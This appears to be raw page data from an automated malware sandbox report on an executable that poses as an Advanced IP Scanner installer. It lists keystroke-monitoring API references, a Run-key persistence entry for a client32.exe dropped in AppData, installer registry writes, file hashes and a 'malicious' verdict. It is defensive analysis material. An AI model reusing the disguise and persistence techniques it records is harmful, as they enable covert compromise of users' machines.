"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" Found registry query API: "RegOpenKeyExA" in file "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" Found registry query API: "RegEnumValueA" in file "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" Found registry query API: "RegQueryValueExA" in file "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" Found registry query API: "RegEnumKeyExA" in file "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" Found registry query API: "RegQueryInfoKeyA" in file "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" Found registry query API: "RegNotifyChangeKeyValue" in file "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" Found registry query API: "RegQueryValueExW" in "00000000-00004600.00000000.119924.00C61000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00004600.00000000.119924.00C61000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00004600.00000000.119924.00C61000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004600.00000000.119924.00C61000.00000002.mdmp"a8:T418,Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyNameTextW" (Indicator: "GetKeyNameText"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe")a9:T5c8,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "A:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "B:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "D:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "E:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "F:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "G:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "H:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "I:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "J:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "K:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "L:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "M:" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" tries to directly access volume data "N:"aa:T2eea,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "INNO SETUP: SETUP VERSION"; Value: "6.3.3") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "INNO SETUP: APP PATH"; Value: "%PROGRAMFILES%\(x86)\Advanced IP Scanner"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "INSTALLLOCATION"; Value: "%PROGRAMFILES%\(x86)\Advanced IP Scanner\"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "INNO SETUP: ICON GROUP"; Value: "Network Tools"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "INNO SETUP: USER"; Value: "LyE9rgl"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "INNO SETUP: SELECTED TASKS"; Value: "000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "INNO SETUP: DESELECTED TASKS"; Value: "desktopicon"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "INNO SETUP: LANGUAGE"; Value: "english"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "DISPLAYNAME"; Value: "Network Utility Pro version 3.2.2048.0"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "DISPLAYICON"; Value: "%PROGRAMFILES%\(x86)\Advanced IP Scanner\Advanced_IP_Scanner.ico"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "UNINSTALLSTRING"; Value: ""%PROGRAMFILES%\(x86)\Advanced IP Scanner\unins000.exe""), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "QUIETUNINSTALLSTRING"; Value: ""%PROGRAMFILES%\(x86)\Advanced IP Scanner\unins000.exe" /SILENT"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "DISPLAYVERSION"; Value: "3.2.2048.0"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "PUBLISHER"; Value: "Unified Software Solutions LLC"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "URLINFOABOUT"; Value: "http://www.uninetutility.com"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "HELPLINK"; Value: "http://www.uninetutility.com/support"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "URLUPDATEINFO"; Value: "http://www.uninetutility.com/update"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "NOMODIFY"; Value: "0100000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "NOREPAIR"; Value: "0100000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "INSTALLDATE"; Value: "20260225"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "MAJORVERSION"; Value: "0300000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "MINORVERSION"; Value: "0200000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "VERSIONMAJOR"; Value: "0300000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "VERSIONMINOR"; Value: "0200000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AABBCCD1-22D3-4EF4-88FF-123456789ABC}}_IS1"; Key: "ESTIMATEDSIZE"; Value: "51B1000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "CA0B000000000000040004000102020000000000630000000D78790035000000A19F5E000100010000000300000056737D000100040000001D0000001A9CB20000"), "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "511F0000000000000400040001002800020000000D7879000DA1810016DDA4001E8D520021777A00259960002C3D81003E3383004AAA8100560A85006F0B6D00726E4A0075A37E00799C39008106950087DE83008E78A200938661009D9D9200A736A800A90DAE00B1CE9800B3F1A200BC6EB400C046AD00C0CC9900C36D8100CA23B700CC495600CF74AA00CFC29400D3826100D3E88D00E1C97700E7997F00EBBF8400F1FC6000F7125E00F7D36F00F7ED6A0007000600000019C398001C4452007140A30091508A00A522A400C45F7F00DC38AB0000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "C80B000000000000040004000102020000000000630000000D7879002F000000A19F5E000100010000000200000056737D000100040000001D0000001A9CB20000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "4E1F0000000000000400040001002300020000000D7879001E8D520021777A00259960003E3383004AAA8100560A85006F0B6D00726E4A0075A37E008106950087DE83008E78A200938661009D9D9200A736A800A90DAE00B1CE9800B3F1A200BC6EB400C046AD00C0CC9900C36D8100CC495600CF74AA00CFC29400D3826100D3E88D00E1C97700E7997F00EBBF8400F1FC6000F7125E00F7D36F00F7ED6A0006000600000019C398001C4452007140A30091508A00A522A400C45F7F0000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "NETUTILITYAPP"; Value: "%APPDATA%\SystemUtil\client32.exe"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US"), "client32.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "000000"), "client32.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:"), "client32.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:"), "client32.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000"), "client32.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000"), "client32.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000"), "client32.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000"), "client32.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US"), "client32.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "@C:\WINDOWS\SYSWOW64\FIREWALLCONTROLPANEL.DLL -12122"; Value: "Windows Defender Firewall")ab:Te34,Found string "GetLogicalProcessorInformation" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: KERNELBASE.DLL) Found string "GetThreadPreferredUILanguages" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: KERNELBASE.DLL) Found string "SetThreadPreferredUILanguages" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: KERNELBASE.DLL) Found string "GetThreadUILanguage" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: KERNELBASE.DLL) Found string "GetLongPathNameW" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: KERNELBASE.DLL) Found string "VariantChangeTypeEx" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarNeg" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarNot" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarAdd" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarSub" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarMul" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarDiv" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarIdiv" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarMod" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarAnd" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarOr" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarXor" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarCmp" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarI4FromStr" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarR4FromStr" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarR8FromStr" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarDateFromStr" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarCyFromStr" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarBoolFromStr" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL) Found string "VarBstrFromCy" (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe, API is part of module: OLEAUT32.DLL)ac:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAzMAAAAAAAAAAAAAAAAAADuzMAAAAAAAAAAAAAAAAAA4uzMAAAAAAAAAAAAAAAAAO4uzMAAAAAAAAAAAAAAAADO4uzMAAAAAAAAAAAAAAAADO4uzMGZmZmZAAAAAAAAAADO4uzZoiP+IdgAAAAAAAAADO7toiI////hgAAAAAACHd3M2iIj/////hjMzN3d3iP/4aIiP//////houDj/93iIh+iIj///////eP83iIcAAEaIiI///////4YzMAAAAABG+IiP//////+G9wAAAAAHdviIj///////hndwAAAHd4b4iIj//////4aPiHAAB4d2/4iIj/////iGiI/3AAd4hv+IiIj///+IhoiI9wAHf/6P+IiIiIiIiOZ3j4cAB3/27/+IiIiIiIjo+HAHAAd/h2j/+IiIiIiIbo/4d3AHf4d+///4iIiIhuDu7/h3B4+Hd+j///+IiG4O7u6P9wePd4h26P//+Obu/u7u7vcHj3iId3ZmZmZ/7v7u7u6HB494iId3d4cHj+j//u7uhwePeIiHd3iHB4/o+P/u6IcHj4d3d3d4hwePju7u7uiHB4//+Hd3eIcHj/+I7u7ohwd3iP//h39wB3eI//iO73cAB3d4j//4cAAHd3iP//h3AAAAd3eI+HAAAAB3d4j4dwAAAAAHd3dwAAAAAAd3d3CP////B////wPwH/8BwAP/AMAB/4AAAP/AAAAA4AAAAAAAAAAAAAAAAAAAAOAAAAOAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAbgAAAAYAAAQCAAAIAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAOAAIAD8ADwA/4B/gQ==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791023074569,"unified_at":"2026-10-03T10:24:34.569Z","metadata":{"hashes":{"sha256":"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c","sha1":"7b6e6212a6d13800282bd2cb362c2a311d89e543","md5":"3c387c0db035c0c3185d6fbd1ab46bd1","sha512":"a6e431c98cafaf3762d5d1d60ab337d4a002c0dd90ae830d6b513c97e333adc3bdf8ce70ad65d6149878fb48d94b762902038d44909b662603c6082997071e76","ssdeep":"393216:xrjU2t/X9E3JMUNccjPql0NbgVunl22V5v+8gDRmffwuvO:tjU2p9EZvNdjP6Kbaunldv+8ORmXwu2","ssdeep_chunks":["393216:xrjU2t/","393216:rjU2t/X","393216:jU2t/X9","393216:U2t/X9E","393216:2t/X9E3","393216:t/X9E3J","393216:/X9E3JM","393216:X9E3JMU","393216:9E3JMUN","393216:E3JMUNc","393216:3JMUNcc","393216:JMUNccj","393216:MUNccjP","393216:UNccjPq","393216:NccjPql","393216:ccjPql0","393216:cjPql0N","393216:jPql0Nb","393216:Pql0Nbg","393216:ql0NbgV","393216:l0NbgVu","393216:0NbgVun","393216:NbgVunl","393216:bgVunl2","393216:gVunl22","393216:Vunl22V","393216:unl22V5","393216:nl22V5v","393216:l22V5v+","393216:22V5v+8","393216:2V5v+8g","393216:V5v+8gD","393216:5v+8gDR","393216:v+8gDRm","393216:+8gDRmf","393216:8gDRmff","393216:gDRmffw","393216:DRmffwu","393216:Rmffwuv","393216:mffwuvO","786432:xrjU2t/","786432:rjU2t/X","786432:jU2t/X9","786432:U2t/X9E","786432:2t/X9E3","786432:t/X9E3J","786432:/X9E3JM","786432:X9E3JMU","786432:9E3JMUN","786432:E3JMUNc","786432:3JMUNcc","786432:JMUNccj","786432:MUNccjP","786432:UNccjPq","786432:NccjPql","786432:ccjPql0","786432:cjPql0N","786432:jPql0Nb","786432:Pql0Nbg","786432:ql0NbgV","786432:l0NbgVu","786432:0NbgVun","786432:NbgVunl","786432:bgVunl2","786432:gVunl22","786432:Vunl22V","786432:unl22V5","786432:nl22V5v","786432:l22V5v+","786432:22V5v+8","786432:2V5v+8g","786432:V5v+8gD","786432:5v+8gDR","786432:v+8gDRm","786432:+8gDRmf","786432:8gDRmff","786432:gDRmffw","786432:DRmffwu","786432:Rmffwuv","786432:mffwuvO","393216:tjU2p9E","393216:jU2p9EZ","393216:U2p9EZv","393216:2p9EZvN","393216:p9EZvNd","393216:9EZvNdj","393216:EZvNdjP","393216:ZvNdjP6","393216:vNdjP6K","393216:NdjP6Kb","393216:djP6Kba","393216:jP6Kbau","393216:P6Kbaun","393216:6Kbaunl","393216:Kbaunld","393216:baunldv","393216:aunldv+","393216:unldv+8","393216:nldv+8O","393216:ldv+8OR","393216:dv+8ORm","393216:v+8ORmX","393216:+8ORmXw","393216:8ORmXwu","393216:ORmXwu2"],"imphash":"40ab50289f7ef5fae60801f88d4541fc"},"file_info":{"file_name":"7b6e6212a6d13800282bd2cb362c2a311d89e543.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":21424072,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1731089119000,"last_seen":1772013026000,"last_multi_scan":1772013026000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive","malicious","windows-server-utility","suspicious"]},"stats":{"av":{"malicious_count":8,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":125},"sandbox_signatures":{"informative_count":380,"suspicious_count":16,"malicious_count